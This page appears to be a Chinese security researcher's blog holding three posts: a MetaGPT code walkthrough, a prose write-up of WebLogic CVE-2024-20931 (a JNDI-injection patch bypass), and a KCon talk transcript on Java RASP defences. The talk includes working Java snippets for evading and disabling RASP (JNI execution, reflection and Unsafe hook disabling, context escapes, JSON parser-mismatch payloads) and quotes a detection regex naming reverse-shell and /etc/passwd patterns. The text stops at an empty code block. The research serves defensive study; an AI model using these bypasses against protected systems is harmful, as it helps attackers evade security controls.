Glassy@Amadeus's Zone

Security&Development

引言

在近期对GPT在安全领域的应用中了解了部分高效Prompt和高效Agent流相关的基本原则,但这些概念都是偏理论的场景,偶然的机会了解到现阶段非常火热的一个开源GPT应用框架MetaGPT,这个框架以”软件公司“的形式非常专业的实现了高效Prompt及高效Agent流的落地,笔者以为这种落地思路会成为安全领域大模型落地的一个楔子,所以对框架的部分代码进行了分析,以此为依据,也为大模型在安全甲方的定位做了一个比较”虚“的畅享。

高效GPT概述

关于高效GPT,笔者收集到两种业内认可度比较好的基本原则,

第一套基本原则,CRIPSE,是关于如何写出一句高效Prompt的方案,只要描述的是Prompt的细节,更详细的案例可以从文章末尾的Reference中获取,

1
2
3
4
5
CR:Capacity and Role(能力与角色)。你希望 AI 扮演怎样的角色
I:Insight(洞察),提供背景信息和上下文
S:Statement(陈述),你希望 AI 做什么。
P:Personality(个性),你希望 AI 以什么风格或方式回答你。
E:Experiment(实验),要求 AI 为你提供多个答案

当拥有高效的Prompt编写能力后,如果通过进一步的与大模型交流,来提升结果质量,该内容源自吴恩达关于Agent工作流优化的分享

1
2
3
4
反思(Reflection):当让大模型帮助完成某项工作后,取得结果再次交给GPT,并补充反思性语句,如首先让GPT写出一段代码,然后补充到”这是XXX的代码,请仔细检测代码的正确性、健全性、效率和良好的结构。“
工具(Tools):不仅仅通过GPT同时通过大量API协同(如Massive APIs)来提升最终产出结果。比较有代表性的就是Gorilla。
规划(Planning):将GPT要执行的任务分步进行,告诉它第一步做什么,第二步做什么,依次类推。
多智体协同(Multi-agent):让GPT去扮演不同角色,如项目经理、架构师、产品经理、工程师等,彼此分工,讨论,得出最优结果。

MetaGPT具体实现解读

目录概览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
├── __init__.py ddd
├── _compat.py
├── actions 每项具体工作,及工作怎么完成,包含大量Prompt
├── config
├── config2.py
├── configs
├── const.py
├── context.py
├── context_mixin.py
├── document.py
├── document_store
├── environment
├── ext
├── learn
├── llm.py
├── logs
├── logs.py
├── management
├── memory
├── metagpt
├── prompts
├── provider
├── rag
├── repo_parser.py
├── roles 在这里定义具体角色、每个角色负责的工作
├── schema.py
├── skills
├── software_company.py 主函数,在这里接收需求
├── startup.py
├── strategy
├── subscription.py
├── team.py
├── tools
├── utils
└── workspace

架构图如下,

启动参数概述

代码在下面给出,每个参数的意义均已经标明,比较常用的有code_review,用于代码review,提升代码质量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def startup(
idea: str = typer.Argument(None, help="Your innovative idea, such as 'Create a 2048 game.'"),
investment: float = typer.Option(default=3.0, help="Dollar amount to invest in the AI company."),
n_round: int = typer.Option(default=5, help="Number of rounds for the simulation."),
code_review: bool = typer.Option(default=True, help="Whether to use code review."),
run_tests: bool = typer.Option(default=False, help="Whether to enable QA for adding & running tests."),
implement: bool = typer.Option(default=True, help="Enable or disable code implementation."),
project_name: str = typer.Option(default="", help="Unique project name, such as 'game_2048'."),
inc: bool = typer.Option(default=False, help="Incremental mode. Use it to coop with existing repo."),
project_path: str = typer.Option(
default="",
help="Specify the directory path of the old version project to fulfill the incremental requirements.",
),
reqa_file: str = typer.Option(
default="", help="Specify the source file name for rewriting the quality assurance code."
),
max_auto_summarize_code: int = typer.Option(
default=0,
help="The maximum number of times the 'SummarizeCode' action is automatically invoked, with -1 indicating "
"unlimited. This parameter is used for debugging the workflow.",
),
recover_path: str = typer.Option(default=None, help="recover the project from existing serialized storage"),
init_config: bool = typer.Option(default=False, help="Initialize the configuration file for MetaGPT."),
)

code_review

当开启–code-review的时候,体现在代码层面上,就是为这个项目添加一个合作角色Engineer,他的主要工作是WriteCodeReview

1
company.hire([Engineer(n_borg=5, use_code_review=code_review)])

关于Engineer这个类的第一个参数n_borg也非常有意思,n_borg代表博格人的数量,而这个博格人的官方解释如下

博格文明以蜂巢或集体思维方式运作,称为“集体”。每个博格个体都通过复杂的亚空间网络连接到集体,确保对每个成员的持续监督和指导。这种集体意识不仅使他们能够“共享相同的思想”,还使他们能够迅速适应新策略。虽然集体的个体成员很少交流,但有时集体的“声音”会在船上传输。
目前该参数虽然已经具备,但在代码中的使用还没有,所以我更偏向于这个参数的定位在未来也是去做类似于CRISPE框架中E的工作。

使用效果展示

MetaGpt在演示使用的时候,主要展示的是一个软件公司的工作流程,通过创造multi agent扮演产品经理、架构师、产品经理、工程师,为不同角色设定任务,实现了完整的Developing SOP流程

比如当我执行”写一个贪吃蛇程序“命令,

1
python3 software_company.py --code-review "写一个贪吃蛇程序"  

那么首先,这个任务会交给项目经理Agent,项目经理Agent基于已经编写好的模版会去找GPT生成PRD

紧接着,拿到PRD后,会把PRD交给团队的每个人,架构师Agent接过PRD,进行架构设计

架构设计完成后再交给产品经理进行定制任务

以此类推,接着交给工程师就行代码编写等等,直到任务完成。

核心代码解读-role

role提供三种工作模式,具体解释如下面给出的注释,粗略的可以解释为

  1. react模式:默认模式,也是现在最推崇的模式,让大模型明确自己的角色后,不断思考自己现在要做什么,接下来要做什么,再行动,完成需要做的事情,通过不断反思、行动,达成一个最佳结果。
  2. by_order模式:提前为角色定制好自己要做的事情,然后角色根据定制好的行动,依次交给大模型去完成。
  3. plan_and_act:首先让大模型思考自己要做哪些事情,然后依次让大模型去完成,相比于by_order模式,唯一的区别就是行动不再由代码提前设定好。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"""Set strategy of the Role reacting to observed Message. Variation lies in how
this Role elects action to perform during the _think stage, especially if it is capable of multiple Actions.

Args:
react_mode (str): Mode for choosing action during the _think stage, can be one of:
"react": standard think-act loop in the ReAct paper, alternating thinking and acting to solve the task, i.e. _think -> _act -> _think -> _act -> ...
Use llm to select actions in _think dynamically;
"by_order": switch action each time by order defined in _init_actions, i.e. _act (Action1) -> _act (Action2) -> ...;
"plan_and_act": first plan, then execute an action sequence, i.e. _think (of a plan) -> _act -> _act -> ...
Use llm to come up with the plan dynamically.
Defaults to "react".
max_react_loop (int): Maximum react cycles to execute, used to prevent the agent from reacting forever.
Take effect only when react_mode is react, in which we use llm to choose actions, including termination.
Defaults to 1, i.e. _think -> _act (-> return result and end)
"""

首先可以先理解一下think和act的时候,分别去干什么

  1. think的核心动作有两个,首先确定当前要做什么,然后确定接下来要去做什么
  2. act发生在think后,明确了要做什么,就把任务交给llm,让大模型去完成当前要做的事情

了解了基本动作,就可以去看一下MetaGPT中的三种工作模式,代码基本就是上面解释的翻译,感兴趣的可以看一下,不过多赘述细节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
async def _react(self) -> Message:
"""Think first, then act, until the Role _think it is time to stop and requires no more todo.
This is the standard think-act loop in the ReAct paper, which alternates thinking and acting in task solving, i.e. _think -> _act -> _think -> _act -> ...
Use llm to select actions in _think dynamically
"""
actions_taken = 0
rsp = Message(content="No actions taken yet", cause_by=Action) # will be overwritten after Role _act
while actions_taken < self.rc.max_react_loop:
# think
todo = await self._think()
if not todo:
break
# act
logger.debug(f"{self._setting}: {self.rc.state=}, will do {self.rc.todo}")
rsp = await self._act()
actions_taken += 1
return rsp # return output from the last action

by_order模式源码如下

1
2
3
4
5
6
7
8
async def _act_by_order(self) -> Message:
"""switch action each time by order defined in _init_actions, i.e. _act (Action1) -> _act (Action2) -> ..."""
start_idx = self.rc.state if self.rc.state >= 0 else 0 # action to run from recovered state
rsp = Message(content="No actions taken yet") # return default message if actions=[]
for i in range(start_idx, len(self.states)):
self._set_state(i)
rsp = await self._act()
return rsp # return output from the last action

plan_and_act模式源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
async def _plan_and_act(self) -> Message:
"""first plan, then execute an action sequence, i.e. _think (of a plan) -> _act -> _act -> ... Use llm to come up with the plan dynamically."""

# create initial plan and update it until confirmation
goal = self.rc.memory.get()[-1].content # retreive latest user requirement
await self.planner.update_plan(goal=goal)

# take on tasks until all finished
while self.planner.current_task:
task = self.planner.current_task
logger.info(f"ready to take on task {task}")

# take on current task
task_result = await self._act_on_task(task)

# process the result, such as reviewing, confirming, plan updating
await self.planner.process_task_result(task_result)

rsp = self.planner.get_useful_memories()[0] # return the completed plan as a response

self.rc.memory.add(rsp) # add to persistent memory

return rsp

核心目录解读-action

在metagpt的action目录下,有大量具体动作的代码,代码里主要保存的是每个动作对应的Prompt,在这里可以对该项目的Prompt做一个了解和学习,这里抽取大家比较熟悉的write_code行为进行展示,这里的Prompt的书写基本完全满足CRIPSE标准,可以作为CRIPSE的示例


PROMPT_TEMPLATE = """
NOTICE
Role: You are a professional engineer; the main goal is to write google-style, elegant, modular, easy to read and maintain code
Language: Please use the same language as the user requirement, but the title and code should be still in English. For example, if the user speaks Chinese, the specific text of your answer should also be in Chinese.
ATTENTION: Use '##' to SPLIT SECTIONS, not '#'. Output format carefully referenced "Format example".

# Context
## Design
{design}

## Task
{task}

## Legacy Code
1
{code}
## Debug logs
1
2
3
{logs}

{summary_log}
## Bug Feedback logs
1
{feedback}
# Format example ## Code: {filename}
1
2
## {filename}
...
# Instruction: Based on the context, follow "Format example", write code. ## Code: {filename}. Write code with triple quoto, based on the following attentions and context. 1. Only One file: do your best to implement THIS ONLY ONE FILE. 2. COMPLETE CODE: Your code will be part of the entire project, so please implement complete, reliable, reusable code snippets. 3. Set default value: If there is any setting, ALWAYS SET A DEFAULT VALUE, ALWAYS USE STRONG TYPE AND EXPLICIT VARIABLE. AVOID circular import. 4. Follow design: YOU MUST FOLLOW "Data structures and interfaces". DONT CHANGE ANY DESIGN. Do not use public member functions that do not exist in your design. 5. CAREFULLY CHECK THAT YOU DONT MISS ANY NECESSARY CLASS/FUNCTION IN THIS FILE. 6. Before using a external variable/module, make sure you import it first. 7. Write out EVERY CODE DETAIL, DON'T LEAVE TODO. """

甲方安全应用畅想

MetaGPT当前展示的主要是GPT在软件开发流程中的应用,因为核心角色是产品经理、架构师、项目经理、工程师、QA工程师,以接收到一个需求作为任务的起点,以该项目的完成作为终点,以该模版为参考,结合GPT形成一个全自动化的SDL流程,也应该具备可行性,在下面可以给出一个基于标准SDL的流程及角色任务定制。

流程

角色及任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
安全培训师:
任务一:基于团队定制的重点漏洞生成培训内容
任务二:基于上一次发布发生的问题,生成培训内容
任务三:基于本月热门漏洞,生成培训内容

安全评审:
任务:通过DepOps平台,了解每一个新需求的产生,在需求产生后分析需求可能发生的漏洞,生成开发前注意事项。

白盒审计人员:
任务一:在封版日前基于代码仓库代码变更,分析本次变更需求有哪些,出现了哪些风险函数调用。
任务二:基于白盒扫描内容进行风险二次反思,汇总本次白盒扫描出的风险。

黑盒测试人员:
任务一:基于白盒审计结果,告知黑盒重点测试内容。
任务二:基于黑盒扫描结果,对结果二次反思,决策出高危风险。

安全发布卡点人员:
任务:汇总上面流程发生的所有事件,汇总研发对于风险的反馈,决策此次发布风险。

引用

METAGPT: META PROGRAMMING FOR A MULTI-AGENT COLLABORATIVE FRAMEWORK

如何写出优雅的prompt? - 通用的万能框架

引言

在Oracle官方最新发布的January 2024补丁中,修复了一个基于Weblogic T3\IIOP协议的远程命令执行漏洞CVE-2024-20931,该漏洞是笔者在2023年10月提交给Oracle,原理上属于CVE-2023-21839补丁的绕过,其中涉及到一个JNDI的新攻击面,在这里分享出来。

漏洞分析

CVE-2023-21839概述

当Weblogic通过T3\IIOP进行绑定的远程对象实现了OpaqueReference接口,那么在对该对象进行lookup时,会调用这个对象的getReferent函数进行查询。

而碰巧有一个名为ForeignOpaqueReference的对象,它的getReferent函数在进行远程对象查询的时候,会再次发起JNDI查询,从而造成了JNDI注入

利用步骤大致分为三步(关键步骤均用红框进行了标记),

  1. 建立一个恶意ForeignOpaqueReference对象,并将remoteJNDIName设置为远程恶意JNDI服务。
  2. 通过T3\IIOP协议在WLS上绑定该恶意对象。
  3. 通过lookup查询该恶意对象,触发ForeignOpaqueReference.getReferent的调用,从而造成恶意JNDI注入。

CVE-2023-21839补丁分析

Oracle官方于January 2023对该漏洞进行了修复,补丁内容分为两部分,

第一部分,限制了绑定ForeignOpaqueReference对象时对jndiEnvironment中providerURL的设置,

第二部分对loopup的JNDI链接的协议也做了比较严格的限制,

直观上去看,想继续通过ForeignOpaqueReference去做JNDI注入的路已经被堵死了。

CVE-2024-20931的挖掘

经过一定的分析,可以感觉到,现在有三条路是可能走的通的,
第一条路,寻找别的实现OpaqueReference接口的类的getReferent寻求突破(比较有意思的是ForeignOpaqueReference在两个package链接下都有,且代码有一些细微的差别),

这条路有一定的可行性,但是要分析的类太多了,所以我没有做太深入的分享。
第二条路,尝试绕过补丁中的JNDIUtils.isValidJndiScheme函数,

做了一定的努力,最终未能成功。
第三条路,就是如果在java.naming.provider.url为空的情况下,做一下危险操作,

因为别的env还是可以控制的,所以或许能在指定java.naming.factory.initial进行初始化的时候,创造可能性,非常幸运的是,WLS提供了不少的InitialContextFactory,而恰恰就有一个AQjmsInitialContextFactory在初始化的时候,需要通过JNDI去获取远程的DataSource,

通过AQjmsInitialContextFactory初始化发起的JNDI注入,就成功达成一种二次JNDI注入,实现了远程的RCE。

总结

这个漏洞相比于之前的JNDI注入,不是在lookup这个JNDI注入的关键函数上寻求突破,而是把关注点侧重于Context的初始化阶段,从而绕过了上一个漏洞的补丁,个人感觉还是比较有意思的一个漏洞,Oracle在后续的补丁中又对java.naming.factory.initial的设置做了验签处理,毫无疑问,还是有一些jndiEnvironment可以进行设置的,至于能不能去找到新的绕过,则需要更深一步的研究。

引言

该篇文章系2022年笔者在Kcon大会上台前准备的内容文字版,考虑到PPT内容有限,不少地方讲的不会很清楚,特意将演讲内容的文字版补档发出。需要PPT的小伙伴请至Kcon官方Github下载即可,PPT地址

认识RASP和RASP攻防

RASP的核心原理

插桩技术简介

Java插桩技术基于Java Instrumentation(该包位于java.lang.instrument,于Java SE5开始引入)实现,使用 Instrumentation,开发者可以构建一个独立于应用程序的Agent,来实现替换和修改某些类的定义。

在Java SE 5时,Instrumentation的实现仅支持在应用启动前添加-javaagent参数的形式实现Agent代理。

1
java -javaagent:/dir/rasp.jar -jar app.jar

Java SE 6时提供了Attach API,实现了运行时JVM程序的字节码修改。 仅仅需要知道需要注入的Java进程的PID,便可以另起一个Java进程去实现运行时加载JavaAgent。

1
2
3
VirtualMachine virtualMachine = VirtualMachine.attach("20556");
virtualMachine.loadAgent("/dir/rasp.jar");
virtualMachine.detach();

常见RASP架构

漏洞,无论是从流量层面上、堆栈层面上、框架层面上,都是极为复杂的,
RASP会通过字节码增强技术将检测代码注入到应用的高危行为函数(如命令执行、文件读写等)之前,在应用执行的执行流抵达高危行为前,对应用将要执行的行为、执行行为时的上下文进行综合分析,从而决定是否在高危行为执行前对该执行流进行阻断。

RASP与传统安全产品的区别

RASP、WAF、主机防护有何不同

WAF 主机防御 RASP
检测方式 流量 主机行为 流量+应用行为
性能 不消化应用本身性能 消耗主机性能,但主机侧只负责收集,分析在云端。 消耗应用性能,拦截相关算法需要在应用测完成收集和分析。
应对0day的方式 基于0day流量,需要优先拿到0day的Poc。 有效防护0day的主机侧恶意行为(如命令执行、文件上传),但缺少流量测信息,只能拦截高危行为,比如一个java web服务调wget下载执行,不能确认是否来自流量侧,不太好下发策略 有效防护0day应用测恶意行为。且能分析处恶意行为的源头是什么(反序列化、表达式注入等)。

RASP的一些痛点

性能消耗:由于RASP的防护逻辑需要消耗应用所在主机性能,这很大程度上决定了RASP无法进行高性能消耗的分析操作。
部署相对麻烦:静态部署需要配置启动参数+重启,虽然JDK6便支持了不重启的Attach API,但attach带来的退优化问题难以解决,因此现阶段主流Java Agent(如APM)都还是主要使用了静态部署的方式安装。

RASP常用防御方式

黑白名单

黑白名单检测算法是RASP检测方式中最为常见,也最为简单的防御算法,即明确规定哪些行为是允许的,哪些是不允许的。

1
2
3
4
5
6
//openrasp命令执行黑名单函数示例
command_common: {
name: '算法3 - 识别常用渗透命令(探针)',
action: 'log',
pattern: 'cat.{1,5}/etc/passwd|nc.{1,30}-e.{1,100}/bin/(?:ba)?sh|bash\\s-.{0,4}i.{1,20}/dev/tcp/|subprocess.call\\(.{0,6}/bin/(?:ba)?sh|fsockopen\\(.{1,50}/bin/(?:ba)?sh|perl.{1,80}socket.{1,120}open.{1,80}exec\\(.{1,5}/bin/(?:ba)?sh'
}

黑白名单算法最大的问题:

1
2
3
1. 白名单的维护需要较大成本。
2. 复杂应用场景,需要维护的黑白名单较为复杂,而过于复杂的黑白名单(可能是具体值、可能是正则)往往会造成较大的性能消耗。
3. 存在一些攻击者和应用都会使用的关键字,导致无法进行处理。
1
2
#以下实例是一个云上每日执行量10W+级别的命令,该命令便使用了攻击者也最喜欢的/bin/sh命令。
/bin/sh -c LC_ALL=C /usr/sbin/lpc status | grep -E '^[ 0-9a-zA-Z_-]*@' | awk -F'@' '{print $1}'>/home/admin/******/temp/prn2338931307557909089xc

语义分析/词法分析

语义分析检测算法多用于SQL注入的检测(也有部分RASP在命令执行处也使用了语义分析),核心思路便是检测用户的输入是否导致了行为数据的结构发生了变化。

义分析存在的问题:

1
2
1. 存在一些语义分析未能兼容的语法、关键字,可能会导致语义分析报错。
2. 针对对参数进行了二次处理的场景,RASP可能无法获取参数,从而导致了语义分析的不可用。

上下文分析

简单版的上下文分析,即在高危行为函数处进行Hook后,会去对当前调用栈的完整链路进行分析,追踪恶意行为的调用链中是否包含一些危险的堆栈(如反序列化gadgets、表达式等),如包含,则进行拦截。稍微复杂点的上下文分析,会对调用链流程中的多处进行Hook,在抵达高危行为函数的Hook处再对调用链的多个Hook处的内容进行统筹分析,决定策略。

上下文分析存在的问题:
获取堆栈信息存在解决不了的性能瓶颈。

常见绕过方式回顾

JNI绕过

由于JNI属于C侧的恶意代码执行,作为Java应用防护的RASP无法获取C侧的具体行为,因此JNI是对抗RASP的一个主流手法。
在有代码执行漏洞的前提下,可以先上传包含恶意C代码的so到服务器(后缀是什么都行),再通过Java的JNI代码去执行该恶意代码。

1
2
3
4
5
6
7
8
public class Glassy {
public static native String exec(String cmd);

static {
System.load("/Users/glassyamadeus/IdeaProjects/JNIDemo/src/main/java/libglassyForMac.so");
}

}

位于 tomcat lib目录下的tomcat-jni.jar,也包含一些可以利用的现成的JNI函数,可以通过代码执行漏洞去调用。

1
2
3
4
Library.initialize(null);
long pool = Pool.create(0);
long proc = Proc.alloc(pool);
Proc.create(proc, "/System/Applications/Calculator.app/Contents/MacOS/Calculator", new String[]{}, new String[]{}, Procattr.create(pool), pool);

基于反射破坏RASP运行时结构

openRASP

1
2
3
4
5
6
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Field used = clazz.getDeclaredField("enableHook");
used.setAccessible(true);
Object enableHook = used.get(null);
Method setMethod = AtomicBoolean.class.getDeclaredMethod("set",boolean.class);
setMethod.invoke(enableHook,false);

冰蝎\哥斯拉在RASP对抗上做了什么

早先版本的哥斯拉命令执行堆栈,

早先版本的冰蝎命令执行堆栈,

新版本哥斯拉命令执行堆栈,不再使用老版本固定规则,而使用了随机且具有较高欺骗性的堆栈,

哥斯拉的413个高欺骗性堆栈名字典,生成payload的时候会从中随机选取,

新版本冰蝎在生产恶意类时,class名会随机生成,

高对抗场景下的tricks简介

BootStrap简介

BootStrap下的class具有什么特权

ClassLoader为空,有效隐蔽了很多信息。

比较具有代表性的案例是,现阶段很多内存马检测插件,都需要先获取被检测Class的ClassLoader,只有ClassLoader不为空,再进行该Class是否落盘的检测,如果没落盘,则认为可能是内存马。

可以不基于反射调用很多高危函数。

如何使自定义class的classLoader成为BootStrap

首先需要将进行利用的Class包在一起打成jar。

Instrumentation的API
Instrumentation.appendToBootstrapClassLoaderSearch提供将jar包加入到BootStrap的函数。

现有JDK目录下jar替换,将恶意类打包成charsets.jar(别的也行,最好选取使用频率较低的jar,并且要求这个BootStrap下的jar不是JDK启动时就load的),且需要一个文件上传或覆盖相关的漏洞将$JAVA_HOME/jre/lib/charsets.jar进行覆盖即可。

在jre/classes/ 下上传的恶意class的Classloader均为null。

UnSafe简介

UnSafe能够做什么

基于JNI的命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String cmd = "open /System/Applications/Calculator.app/";

int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);

通过反射,也可以对运行时相关变量进行修改。(相当于破坏RASP运行时结构的另一种手法)

1
2
3
4
5
6
7
8
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Unsafe unsafe = getUnsafe();
InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
byte[] data = new byte[inputStream.available()];
inputStream.read(data);
Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
Field field = anonymousClass.getDeclaredField("enableHook");
unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));

对生成的恶意类进行隐藏。通过defineAnonymousClass生成的VM Anonymous Class具备如下特征:

  1. class名可以是已存在的class的名字,比如java.lang.File,即使如此也不会发生任何问题,java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。 —将会使类名极具欺骗性
  2. 该class的classloader为null。 —在java中classloader为null的为来自BootstrapClassLoader的class,往往会被认定为jdk自带class
  3. 在JVM中存在大量动态编译产生的class(多为lamada表达式生成),这种class均不会落盘,所以不落盘并不会属于异常特征。
  4. 无法通过Class.forName()获取到该class的相关内容。 —严重影响通过反射排查该类安全性的检测工具
  5. 在部分jdk版本中,VM Anonymous Class甚至无法进行restransform。 —这也就意味着我们无法通过attach API去修复这个恶意类
  6. 该class在transform中的className将会是它的模板类名。 —这将会对那些通过attach方式检测内存马的工具造成极大的误导性

    获取UnSafe的手法

    基于反射获取(很多RASP、木马检测已把反射获取UnSafe拉黑),
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public static Unsafe getUnsafe() {
    Unsafe unsafe = null;

    try {
    Field field = Unsafe.class.getDeclaredField("theUnsafe");
    field.setAccessible(true);
    unsafe = (Unsafe) field.get(null);
    } catch (Exception e) {
    throw new AssertionError(e);
    }
    return unsafe;
    }
    unsafe本身在大量主流框架中都有使用(如gson、netty等),所以完全可以通过反射获取别的框架已经创建好的现成的unsafe变量,甚至直接调用这些框架写好的重新打包的unsafe相关的API 想办法制造BootStrap恶意类,直接通过Unsafe.getUnsafe()来获取UnSafe。

    一些特殊场景下的RASP绕过手法

兼容性差异

大部分RASP不会自写json解析引擎,而会去选择RASP使用的语言的先有json解析框架,以JAVA为例,大部分RASP框架会选用Gson(好用又安全)作为自己的json解析框架,而应用往往选择的json解析框架是不确定的(fastjson、gson、jackson都有可能),那么如果一旦一个应用使用的json解析框架的兼容性大于了RASP使用框架的兼容性,绕过就会存在。

举例说明,fastjson作为一款主流json解析框架,兼容性是比gson高的。其中fastjson支持在不同k-v之间插上任意数量的逗号,而Gson不支持,那么当需要解析参数的相关漏洞(SQL注入、SSRF)存在RASP防御,一下手法就可以绕过RASP的防御。

1
{,,,,"user":"glassy' and '1'='1",,,"content":"test",,}

再举一个例子,fastjson在支持数据的unicode编码的同事,对于\u后面的数字,是支持异性字的,而gson和jackson仅仅支持unicode编码,却并不支持\u后面的数字的异性字,这样的话,可以构造出极具欺骗性的payload,技能欺骗RASP又能欺骗WAF。
通过异形字构造出的json数据如下:

1
2
json数据:{"\u౦᥆༦۳\u꘠០६f\u꯰꧐໖e\u౦꣐꘧᪄\u꯰༠߆५\u૦၀६e\u๐᥆꤇꯴":"\u᮰߀٧൪\u໐୦᱆૮\u꣐០႖߉\u੦᠐௭౩\u၀୦꧒๐\u٠૦೬߉\u᮰୦೭߃\u᱀०٢۰\u೦൦൬୭\u୦൦᧖c\u០૦۶᱁\u᧐႐୭٣\u០᱐᧗౩\u০᱀۷᪙","\u၀꯰꩖e\u႐꘠७꧕\u᥆୦༦d":1}
json反序列化为的Object:{"num":1,"content":"this is glassy"}

突破语义分析

传统意义上的SQL注入绕过,在于寻觅黑名单之外的敏感函数、大量编码、注释引起的混淆等,但是语义分析层面上,由于关注的是语义结构的变化,那么以上手法往往会比较无力。下面的示例中会展示如何突破Druid的语义分析防御。
基于未兼容关键字
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据。而Druid的最新版本也未兼容handler关键字,那么若遇到使用Druid进行语义分析的RASP,便可以使用Handler关键字破坏语义分析引擎运行。

巧妙利用熔断

处于性能相关的考虑,很多RASP产品存在性能相关防护(一般默认关闭),为了防止RASP对业务性能造成较大影响,当整机CPU到达某个阈值的情况下,RASP往往会自动熔断。

基于此特性,在部署RASP的应用上,可以尝试猛打某一条payload,把机器CPU打到RASP熔断的阈值,便可以成功绕过RASP防御。在拥有代码执行权限的情况下,完全可以刻意构造高性能消耗代码做到一条payload(如复杂正则、循环堆栈获取)即可成功让RASP熔断并执行命令。

还是熟悉的大包绕过

众所周知,WAF的防御经常收到大包绕过的困扰,无独有偶,RASP也会面临同样的问题。但二者在原理上有着本质的区别。
WAF的大包绕过主要由于WAF本身的性能问题。
而RASP的大包问题,则出于内存保护考虑。不过,一般较为成熟的RASP会把自己的最大body读取设置为一个中间件能承受的最大body以上,但是一旦中间件有过特殊配置,或是一些对最大body未做限制的中间件,那么RASP便存在被打包绕过的可能性。

JDK官方提供的JNI HOOK方案绕过

JDK官方提供了setNativeMethodPrefix作为Hook JNI的一种手段。很多插桩类产品,使用该方案解决JNI的埋点问题。

此功能允许指定前缀并进行适当的分辨率。 具体而言,当标准分辨率失败时,考虑前缀重试分辨率。 有两种方法可以解决分辨率,使用JNI功能RegisterNatives显式分辨,以及正常的自动分辨率。 对于RegisterNatives ,JVM将尝试此关联:
method(foo) -> nativeImplementation(foo)
如果失败,将使用前缀为方法名称的指定前缀重试分辨率,从而产生正确的分辨率:

method(wrapped_foo) -> nativeImplementation(foo)

对于自动解析,JVM将尝试:

method(wrapped_foo) -> nativeImplementation(wrapped_foo)

如果失败,将使用从实现名称中删除的指定前缀重试解决方案,从而产生正确的解决方案:

method(wrapped_foo) -> nativeImplementation(foo)

请注意,由于前缀仅在标准分辨率失败时使用,因此可以选择性地包装本机方法。

因此,若RASP使用的是setNativeMethodPrefix的方式去解决jni的HOOK,那攻击者无需再去纠结于调用exec函数,而直接选择调用 glassy_exec函数即可绕过。

黑名单绕过手段

存在部分RASP,仅仅进行黑名单\白名单进行安全防护,这种防护方式非常无脑,但在很多场景下效果都还不错。但我们可以有多种方法使得我们执行的命令不再是黑名单命令。

当应用存在的漏洞是一个代码执行漏洞,而 /bin/bash 命令被拉黑了的时候,我们通过Java的代码可以创造一个新的bash。

1
2
3
4
5
6
//copy方式
Files.copy(Paths.get("/bin/bash"), Paths.get("/tmp/glassy"));
//软连接方式
Files.createSymbolicLink(Paths.get("/tmp/amadeus"), Paths.get("/bin/bash"));
//硬链接方式
Files.createLink(Paths.get("/tmp/amadeus"), Paths.get("/bin/bash"));

接下来就可以使用一个非黑名单的bash文件进行相关操作

1
Runtime.getRuntime().exec("/tmp/glassy -c XXXX");

当然在命令执行的时候,cp\alias\export若不在黑名单里,则可以不依赖Java API也能实现类似效果。

上下文检测逃逸

基于新建线程实现上下文逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.IOException;

public class NewThread {
public NewThread() {
}

static{
Thread t = new Thread(new Runnable() {
@Override
public void run() {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app/");
} catch (IOException e) {
e.printStackTrace();
}
}
});
t.start();
}
}

基于线程池实现上下文逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.IOException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class ThreadPool {
public ThreadPool() {
}

static {
try {
ExecutorService newCachedThreadPool = Executors.newCachedThreadPool();
newCachedThreadPool.execute(new Runnable() {
@Override
public void run() {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app/");
} catch (IOException e) {
e.printStackTrace();
}
}
});
} catch (Exception e) {

}
}
}

基于gc实现上下文逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.lang.ref.WeakReference;

public class TestGc {
public TestGc() {
}

@Override
protected void finalize() throws Throwable {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app/");
super.finalize();
}

static {
TestGc testGc = new TestGc();
WeakReference<TestGc> weakPerson = new WeakReference<TestGc>(testGc);
testGc = null;
System.gc();
}
}

花式卸载RASP

很多Java应用中,存在着多个Java Agent的情况,比如,有一些Java应用既安装了APM、又安装了RASP,Java的Instrument在处理众多的Agent的时候,会根据加载顺序,依次调用对应的Transformer,那么只要能够保证最后一个加载的Agent,那么就拥有被加强Class的字节码的最终决定权。

当取到一个代码执行权限后,完全可以做到新Attach一个Agent(此时这个Agent晚于RASP),再将由RASP增强的Class字节码还原回没有安全防护的字节码。(这里会有高版本JDK禁止attach self问题,但该防护也能通过反射关闭。)
Attach相关代码

1
2
3
4
5
6
7
8
